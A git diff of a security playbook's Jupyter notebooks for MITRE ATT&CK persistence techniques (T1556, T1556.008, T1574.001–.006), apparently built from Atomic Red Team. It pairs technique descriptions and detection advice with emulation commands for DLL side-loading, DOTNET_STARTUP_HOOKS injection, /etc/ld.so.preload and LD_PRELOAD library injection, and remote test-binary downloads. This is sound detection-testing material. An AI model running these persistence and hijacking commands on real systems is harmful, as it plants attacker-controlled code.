"display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1556.008.ipynb b/playbook/tactics/persistence/T1556.008.ipynb new file mode 100644 index 00000000..7c64f00d --- /dev/null +++ b/playbook/tactics/persistence/T1556.008.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "663831b8", + "metadata": {}, + "source": "# T1556.008 - Network Provider DLL\nAdversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)" + }, + { + "cell_type": "markdown", + "id": "939122db", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1556.ipynb b/playbook/tactics/persistence/T1556.ipynb index 58df7a89..9a515a4f 100644 --- a/playbook/tactics/persistence/T1556.ipynb +++ b/playbook/tactics/persistence/T1556.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "7368cfac", + "id": "312609bb", "metadata": {}, "source": "# T1556 - Modify Authentication Process\nAdversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop." }, { "cell_type": "markdown", - "id": "6393daf1", + "id": "e11d2995", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ad89d310", + "id": "fef2f27a", "metadata": {}, "source": "## Detection\nMonitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n" }, { "cell_type": "markdown", - "id": "6b06e77c", + "id": "2f487160", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls on systems in order to affect the success of an adversary.\n#### Use Case\nA defender could implement security controls to force an adversary to modify the authentication process if they want to collect or utilize credentials on a system.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.001.ipynb b/playbook/tactics/persistence/T1574.001.ipynb index 22e9445e..331cf21e 100644 --- a/playbook/tactics/persistence/T1574.001.ipynb +++ b/playbook/tactics/persistence/T1574.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b0ecfd06", + "id": "982c4222", "metadata": {}, "source": "# T1574.001 - DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace." }, { "cell_type": "markdown", - "id": "d45c033f", + "id": "87e113a6", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a66e175c", + "id": "32cf7d81", "metadata": {}, "source": [ "### Atomic Test #1 - DLL Search Order Hijacking - amsi.dll", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0a94c751", + "id": "ea95d631", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "495ed6eb", + "id": "b81f7e50", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %APPDATA%\\updater.exe >nul 2>&1\ndel %APPDATA%\\amsi.dll >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fc757c92", + "id": "bf414fb0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a6703f1c", + "id": "12732059", "metadata": {}, "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.002.ipynb b/playbook/tactics/persistence/T1574.002.ipynb index 9a02aa5a..ad340850 100644 --- a/playbook/tactics/persistence/T1574.002.ipynb +++ b/playbook/tactics/persistence/T1574.002.ipynb @@ -2,109 +2,109 @@ "cells": [ { "cell_type": "markdown", - "id": "2cfac4f4", + "id": "6a69d850", "metadata": {}, "source": "# T1574.002 - DLL Side-Loading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)" }, { "cell_type": "markdown", - "id": "69dbb889", + "id": "ff60bf62", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "031e186e", + "id": "d088da06", "metadata": {}, - "source": "### Atomic Test #1 - DLL Side-Loading using the Notepad++ GUP.exe binary\nGUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Gup.exe binary must exist on disk at specified location (#{gup_executable})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\"\n\n```" + "source": "### Atomic Test #1 - DLL Side-Loading using the Notepad++ GUP.exe binary\nGUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Gup.exe binary must exist on disk at specified location (#{gup_executable})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "95a7630f", + "id": "2e818ca8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "09e0a63c", + "id": "10b00b75", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "cb871184", + "id": "2f7e394f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "73688ba6", + "id": "b853ba06", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntaskkill /F /IM calculator.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "402cd167", + "id": "0e41c6f9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a8e1bb8c", + "id": "a4615989", "metadata": {}, "source": "### Atomic Test #2 - DLL Side-Loading using the dotnet startup hook environment variable\nUtilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: .Net SDK must be installed\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\Program Files\\dotnet\\dotnet.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nwinget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null\necho.\n\n```\n##### Description: preloader must exist\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true\" -OutFile \"PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "03705553", + "id": "e80b967b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "03d836cb", + "id": "1d4bb52f", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nset DOTNET_STARTUP_HOOKS=PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\ndotnet -h > nul\necho.\n```" + "```command_prompt\nset DOTNET_STARTUP_HOOKS=\"PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\"\ndotnet -h > nul\necho.\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "78dacb50", + "id": "8bf7a61a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "17ae9398", + "id": "38b5d1e8", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntaskkill /F /IM calculator.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4ba0adc9", + "id": "6af80d56", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "c421ef71", + "id": "698456d0", "metadata": {}, "source": "## Detection\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates." } @@ -112,13 +112,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.004.ipynb b/playbook/tactics/persistence/T1574.004.ipynb index a666deb9..bda50146 100644 --- a/playbook/tactics/persistence/T1574.004.ipynb +++ b/playbook/tactics/persistence/T1574.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e70e6f64", + "id": "70083ea5", "metadata": {}, "source": "# T1574.004 - Dylib Hijacking\nAdversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)" }, { "cell_type": "markdown", - "id": "36643f48", + "id": "51e7c52d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d2f3c86c", + "id": "aba43838", "metadata": {}, "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.005.ipynb b/playbook/tactics/persistence/T1574.005.ipynb index 505520d2..e38c387e 100644 --- a/playbook/tactics/persistence/T1574.005.ipynb +++ b/playbook/tactics/persistence/T1574.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "db355eaf", + "id": "c019858c", "metadata": {}, "source": "# T1574.005 - Executable Installer File Permissions Weakness\nAdversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence." }, { "cell_type": "markdown", - "id": "0b5a8440", + "id": "d83e4f49", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "6b5ecdac", + "id": "4ed8b3ac", "metadata": {}, "source": "## Detection\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.006.ipynb b/playbook/tactics/persistence/T1574.006.ipynb index 67aea632..90680510 100644 --- a/playbook/tactics/persistence/T1574.006.ipynb +++ b/playbook/tactics/persistence/T1574.006.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "58413e43", + "id": "795234ca", "metadata": {}, "source": "# T1574.006 - Dynamic Linker Hijacking\nAdversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) " }, { "cell_type": "markdown", - "id": "3e616b9a", + "id": "9c5df062", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e848437f", + "id": "ebdd5300", "metadata": {}, "source": "### Atomic Test #1 - Shared Library Injection via /etc/ld.so.preload\nThis test adds a shared library to the `ld.so.preload` list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_to_shared_library})\n\n##### Check Prereq Commands:\n```bash\nif [ -f /tmp/T1574006.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\ngcc -shared -fPIC -o /tmp/T1574006.so PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "72adf04d", + "id": "5377a135", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5049ebd5", + "id": "279c4677", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "8df7a3ff", + "id": "3a51e9a3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "462ee8d5", + "id": "69730e50", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo sed -i 's#/tmp/T1574006.so##' /etc/ld.so.preload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8b5d5c34", + "id": "abb25e2d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "5caba77e", + "id": "fdfa3559", "metadata": {}, "source": "### Atomic Test #2 - Shared Library Injection via LD_PRELOAD\nThis test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_to_shared_library})\n\n##### Check Prereq Commands:\n```bash\nif [ -f /tmp/T1574006.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\ngcc -shared -fPIC -o /tmp/T1574006.so PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "81efd1b9", + "id": "304c5279", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "123b24a8", + "id": "9c3139ae", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ff6b4942", + "id": "cb9c359f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "9d902499", + "id": "ee3d1dcb", "metadata": {}, "source": "### Atomic Test #3 - Dylib Injection via DYLD_INSERT_LIBRARIES\ninjects a dylib that opens calculator via env variable\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Compile the dylib from (#{source_file}). Destination is #{dylib_file}\n\n##### Check Prereq Commands:\n```bash\ngcc -dynamiclib PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c -o /tmp/T1574006MOS.dylib\n\n```\n##### Get Prereq Commands:\n```bash\ngcc -dynamiclib PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c -o /tmp/T1574006MOS.dylib\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "05d2981f", + "id": "1da6862b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ff699f40", + "id": "d1237fd3", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -114,28 +114,28 @@ { "cell_type": "code", "execution_count": null, - "id": "83dcbd85", + "id": "e12dace1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "0ba774ef", + "id": "c54aa3d8", "metadata": {}, "source": "#### Cleanup: \n```bash\nkill `pgrep Calculator`\nkill `pgrep firefox`\n```" }, { "cell_type": "code", "execution_count": null, - "id": "159a4a95", + "id": "a0397b94", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "9785ddcd", + "id": "c71a336e", "metadata": {}, "source": "## Detection\nMonitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates." } @@ -143,13 +143,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - 